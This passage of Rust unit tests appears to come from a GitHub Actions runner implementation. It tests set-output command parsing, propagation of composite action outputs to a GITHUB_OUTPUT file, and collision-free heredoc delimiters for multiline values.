8839            matrix_combination: &None,
8840            container_config: None,
8841            workflow_defaults: None,
8842            job_defaults: None,
8843            step_outputs: &HashMap::new(),
8844            step_statuses: &HashMap::new(),
8845            job_status: "success",
8846            services: JobServices {
8847                secret_manager: None,
8848                secret_masker: None,
8849                secrets_context: &HashMap::new(),
8850                needs_context: &HashMap::new(),
8851                needs_results: &HashMap::new(),
8852                artifact_store: &artifact_store,
8853                cache_store: &cache_store,
8854            },
8855            pending_cache_saves: &pending,
8856        };
8857
8858        let result = execute_step(ctx).await.unwrap();
8859        assert_eq!(result.status, StepStatus::Success);
8860        assert!(result.output.contains("0 artifact(s)"));
8861    }
8862
8863    #[test]
8864    fn process_workflow_commands_multiple_set_outputs() {
8865        let mut outputs: HashMap<String, HashMap<String, String>> = HashMap::new();
8866        let masker = SecretMasker::new();
8867
8868        process_workflow_commands(
8869            "::set-output name=a::1\n::set-output name=b::2\nnormal line\n::set-output name=a::overwritten\n",
8870            Some("step1"),
8871            &mut outputs,
8872            Some(&masker),
8873        );
8874
8875        let step_out = outputs.get("step1").unwrap();
8876        assert_eq!(step_out.get("a").unwrap(), "overwritten");
8877        assert_eq!(step_out.get("b").unwrap(), "2");
8878    }
8879
8880    #[test]
8881    fn process_workflow_commands_no_step_id_ignores_set_output() {
8882        let mut outputs: HashMap<String, HashMap<String, String>> = HashMap::new();
8883        // Without a step_id, ::set-output:: commands should be silently ignored
8884        process_workflow_commands("::set-output name=x::val\n", None, &mut outputs, None);
8885        assert!(outputs.is_empty());
8886    }
8887
8888    #[test]
8889    fn propagate_composite_outputs_writes_to_github_output_file() {
8890        // Simulate a composite action with an outputs section that references
8891        // an internal step output via ${{ steps.build-msg.outputs.msg }}
8892        let action_yaml = r#"
8893name: Greet
8894outputs:
8895  message:
8896    description: The greeting
8897    value: ${{ steps.build-msg.outputs.msg }}
8898  static_val:
8899    description: A literal
8900    value: hello-literal
8901runs:
8902  using: composite
8903  steps: []
8904"#;
8905        let action_def: serde_yaml::Value = serde_yaml::from_str(action_yaml).unwrap();
8906
8907        // Populate the composite's internal step outputs
8908        let mut composite_step_outputs: HashMap<String, HashMap<String, String>> = HashMap::new();
8909        let mut build_msg_outputs = HashMap::new();
8910        build_msg_outputs.insert("msg".to_string(), "Hi, World!".to_string());
8911        composite_step_outputs.insert("build-msg".to_string(), build_msg_outputs);
8912
8913        let action_env = HashMap::new();
8914
8915        // Create a temp file to act as the caller's GITHUB_OUTPUT
8916        let tmp = tempfile::NamedTempFile::new().unwrap();
8917        let tmp_path = tmp.path().to_string_lossy().to_string();
8918        let mut caller_env = HashMap::new();
8919        caller_env.insert("GITHUB_OUTPUT".to_string(), tmp_path.clone());
8920
8921        let working_dir = std::env::temp_dir();
8922
8923        propagate_composite_outputs(
8924            &action_def,
8925            &composite_step_outputs,
8926            &action_env,
8927            &action_env,
8928            &caller_env,
8929            &working_dir,
8930            "success",
8931        );
8932
8933        // Read the GITHUB_OUTPUT file — it should contain the evaluated outputs
8934        let content = std::fs::read_to_string(&tmp_path).unwrap();
8935        assert!(
8936            content.contains("message=Hi, World!"),
8937            "Expected 'message=Hi, World!' in GITHUB_OUTPUT, got: {:?}",
8938            content
8939        );
8940        assert!(
8941            content.contains("static_val=hello-literal"),
8942            "Expected 'static_val=hello-literal' in GITHUB_OUTPUT, got: {:?}",
8943            content
8944        );
8945    }
8946
8947    #[test]
8948    fn propagate_composite_outputs_no_outputs_section_is_noop() {
8949        let action_yaml = r#"
8950name: NoOutputs
8951runs:
8952  using: composite
8953  steps: []
8954"#;
8955        let action_def: serde_yaml::Value = serde_yaml::from_str(action_yaml).unwrap();
8956        let composite_step_outputs = HashMap::new();
8957        let action_env = HashMap::new();
8958
8959        // No GITHUB_OUTPUT in env — should not panic
8960        let caller_env = HashMap::new();
8961        let working_dir = std::env::temp_dir();
8962
8963        propagate_composite_outputs(
8964            &action_def,
8965            &composite_step_outputs,
8966            &action_env,
8967            &action_env,
8968            &caller_env,
8969            &working_dir,
8970            "success",
8971        );
8972        // No assertion needed — just verifying it doesn't panic
8973    }
8974
8975    #[test]
8976    fn propagate_composite_outputs_on_failure_writes_partial_outputs() {
8977        // Simulate a composite action where one step succeeded before a later step failed.
8978        // The output referencing the successful step should still be propagated.
8979        let action_yaml = r#"
8980name: PartialOutputs
8981outputs:
8982  greeting:
8983    description: From step that succeeded
8984    value: ${{ steps.ok-step.outputs.val }}
8985  missing:
8986    description: From step that never ran
8987    value: ${{ steps.never-ran.outputs.val }}
8988runs:
8989  using: composite
8990  steps: []
8991"#;
8992        let action_def: serde_yaml::Value = serde_yaml::from_str(action_yaml).unwrap();
8993
8994        // Only the first step produced outputs
8995        let mut composite_step_outputs: HashMap<String, HashMap<String, String>> = HashMap::new();
8996        let mut ok_outputs = HashMap::new();
8997        ok_outputs.insert("val".to_string(), "partial-result".to_string());
8998        composite_step_outputs.insert("ok-step".to_string(), ok_outputs);
8999        // "never-ran" is intentionally absent
9000
9001        let action_env = HashMap::new();
9002
9003        let tmp = tempfile::NamedTempFile::new().unwrap();
9004        let tmp_path = tmp.path().to_string_lossy().to_string();
9005        let mut caller_env = HashMap::new();
9006        caller_env.insert("GITHUB_OUTPUT".to_string(), tmp_path.clone());
9007
9008        let working_dir = std::env::temp_dir();
9009
9010        propagate_composite_outputs(
9011            &action_def,
9012            &composite_step_outputs,
9013            &action_env,
9014            &action_env,
9015            &caller_env,
9016            &working_dir,
9017            "failure",
9018        );
9019
9020        let content = std::fs::read_to_string(&tmp_path).unwrap();
9021        assert!(
9022            content.contains("greeting=partial-result"),
9023            "Expected 'greeting=partial-result' in GITHUB_OUTPUT, got: {:?}",
9024            content
9025        );
9026        // The missing step output should resolve to empty string, not panic
9027        assert!(
9028            content.contains("missing="),
9029            "Expected 'missing=' in GITHUB_OUTPUT, got: {:?}",
9030            content
9031        );
9032    }
9033
9034    #[test]
9035    fn propagate_composite_outputs_nonexistent_step_resolves_empty() {
9036        // When an output value references a step that doesn't exist in the
9037        // composite_step_outputs map, it should resolve to an empty string
9038        // rather than panicking or erroring.
9039        let action_yaml = r#"
9040name: GhostStep
9041outputs:
9042  phantom:
9043    description: References a step that was never executed
9044    value: ${{ steps.ghost.outputs.result }}
9045runs:
9046  using: composite
9047  steps: []
9048"#;
9049        let action_def: serde_yaml::Value = serde_yaml::from_str(action_yaml).unwrap();
9050
9051        let composite_step_outputs: HashMap<String, HashMap<String, String>> = HashMap::new();
9052        let action_env = HashMap::new();
9053
9054        let tmp = tempfile::NamedTempFile::new().unwrap();
9055        let tmp_path = tmp.path().to_string_lossy().to_string();
9056        let mut caller_env = HashMap::new();
9057        caller_env.insert("GITHUB_OUTPUT".to_string(), tmp_path.clone());
9058
9059        let working_dir = std::env::temp_dir();
9060
9061        propagate_composite_outputs(
9062            &action_def,
9063            &composite_step_outputs,
9064            &action_env,
9065            &action_env,
9066            &caller_env,
9067            &working_dir,
9068            "success",
9069        );
9070
9071        let content = std::fs::read_to_string(&tmp_path).unwrap();
9072        // Should write the key with an empty value, not skip or panic
9073        assert!(
9074            content.contains("phantom="),
9075            "Expected 'phantom=' in GITHUB_OUTPUT, got: {:?}",
9076            content
9077        );
9078    }
9079
9080    #[test]
9081    fn propagate_composite_outputs_multiline_value_uses_heredoc() {
9082        // When an output value contains newlines, it must be written using
9083        // the heredoc format (key<<DELIM\nvalue\nDELIM) so that
9084        // parse_github_kv_file can read it back correctly.
9085        let action_yaml = r#"
9086name: MultiLine
9087outputs:
9088  body:
9089    description: A multiline value
9090    value: ${{ steps.gen.outputs.text }}
9091  single:
9092    description: A single-line value
9093    value: ${{ steps.gen.outputs.title }}
9094runs:
9095  using: composite
9096  steps: []
9097"#;
9098        let action_def: serde_yaml::Value = serde_yaml::from_str(action_yaml).unwrap();
9099
9100        let mut composite_step_outputs: HashMap<String, HashMap<String, String>> = HashMap::new();
9101        let mut gen_outputs = HashMap::new();
9102        gen_outputs.insert("text".to_string(), "line1\nline2\nline3".to_string());
9103        gen_outputs.insert("title".to_string(), "hello".to_string());
9104        composite_step_outputs.insert("gen".to_string(), gen_outputs);
9105
9106        let action_env = HashMap::new();
9107
9108        let tmp = tempfile::NamedTempFile::new().unwrap();
9109        let tmp_path = tmp.path().to_string_lossy().to_string();
9110        let mut caller_env = HashMap::new();
9111        caller_env.insert("GITHUB_OUTPUT".to_string(), tmp_path.clone());
9112
9113        let working_dir = std::env::temp_dir();
9114
9115        propagate_composite_outputs(
9116            &action_def,
9117            &composite_step_outputs,
9118            &action_env,
9119            &action_env,
9120            &caller_env,
9121            &working_dir,
9122            "success",
9123        );
9124
9125        let content = std::fs::read_to_string(&tmp_path).unwrap();
9126
9127        // Multiline value should use heredoc format with ghadelimiter prefix
9128        assert!(
9129            content.contains("body<<ghadelimiter"),
9130            "Expected heredoc format with ghadelimiter for multiline value in GITHUB_OUTPUT, got: {:?}",
9131            content
9132        );
9133
9134        // Single-line value should use simple key=value format
9135        assert!(
9136            content.contains("single=hello"),
9137            "Expected 'single=hello' in GITHUB_OUTPUT, got: {:?}",
9138            content
9139        );
9140
9141        // Verify parse_github_kv_file can round-trip the multiline value
9142        let parsed = crate::github_env_files::parse_github_kv_file(&content);
9143        assert_eq!(
9144            parsed.get("body").map(|s| s.as_str()),
9145            Some("line1\nline2\nline3"),
9146            "parse_github_kv_file should round-trip the multiline value"
9147        );
9148        assert_eq!(
9149            parsed.get("single").map(|s| s.as_str()),
9150            Some("hello"),
9151            "parse_github_kv_file should round-trip the single-line value"
9152        );
9153    }
9154
9155    #[test]
9156    fn propagate_composite_outputs_value_containing_eof_uses_unique_delimiter() {
9157        // When a multiline output value contains a line that is literally "ghadelimiter",
9158        // the function must pick a different delimiter to avoid premature termination.
9159        let action_yaml = r#"
9160name: EOFInValue
9161outputs:
9162  data:
9163    description: Value with EOF-like content
9164    value: ${{ steps.gen.outputs.blob }}
9165runs:
9166  using: composite
9167  steps: []
9168"#;
9169        let action_def: serde_yaml::Value = serde_yaml::from_str(action_yaml).unwrap();
9170
9171        let mut composite_step_outputs: HashMap<String, HashMap<String, String>> = HashMap::new();
9172        let mut gen_outputs = HashMap::new();
9173        // Value that contains "ghadelimiter" as a standalone line
9174        gen_outputs.insert(
9175            "blob".to_string(),
9176            "before\nghadelimiter\nafter".to_string(),
9177        );
9178        composite_step_outputs.insert("gen".to_string(), gen_outputs);
9179
9180        let action_env = HashMap::new();
9181
9182        let tmp = tempfile::NamedTempFile::new().unwrap();
9183        let tmp_path = tmp.path().to_string_lossy().to_string();
9184        let mut caller_env = HashMap::new();
9185        caller_env.insert("GITHUB_OUTPUT".to_string(), tmp_path.clone());
9186
9187        let working_dir = std::env::temp_dir();
9188
9189        propagate_composite_outputs(
9190            &action_def,
9191            &composite_step_outputs,
9192            &action_env,
9193            &action_env,
9194            &caller_env,
9195            &working_dir,
9196            "success",
9197        );
9198
9199        let content = std::fs::read_to_string(&tmp_path).unwrap();
9200
9201        // The delimiter must NOT be "ghadelimiter" since the value contains it
9202        assert!(
9203            !content.starts_with("data<<ghadelimiter\n")
9204                || content.starts_with("data<<ghadelimiter_"),
9205            "Delimiter should have been suffixed to avoid collision, got: {:?}",
9206            content
9207        );
9208
9209        // Verify parse_github_kv_file can round-trip the value correctly
9210        let parsed = crate::github_env_files::parse_github_kv_file(&content);
9211        assert_eq!(
9212            parsed.get("data").map(|s| s.as_str()),
9213            Some("before\nghadelimiter\nafter"),
9214            "parse_github_kv_file should round-trip value containing the base delimiter"
9215        );
9216    }
9217
9218    #[test]
9219    fn generate_heredoc_delimiter_avoids_collisions() {
9220        // Base case: no collision
9221        let delim = generate_heredoc_delimiter("hello\nworld");
9222        assert_eq!(delim, "ghadelimiter");
9223
9224        // Value contains the base delimiter as a line
9225        let delim = generate_heredoc_delimiter("line1\nghadelimiter\nline2");
9226        assert_eq!(delim, "ghadelimiter_1");
9227
9228        // Value contains both base and _1
9229        let delim = generate_heredoc_delimiter("ghadelimiter\nghadelimiter_1\nother");
9230        assert_eq!(delim, "ghadelimiter_2");
9231    }
9232}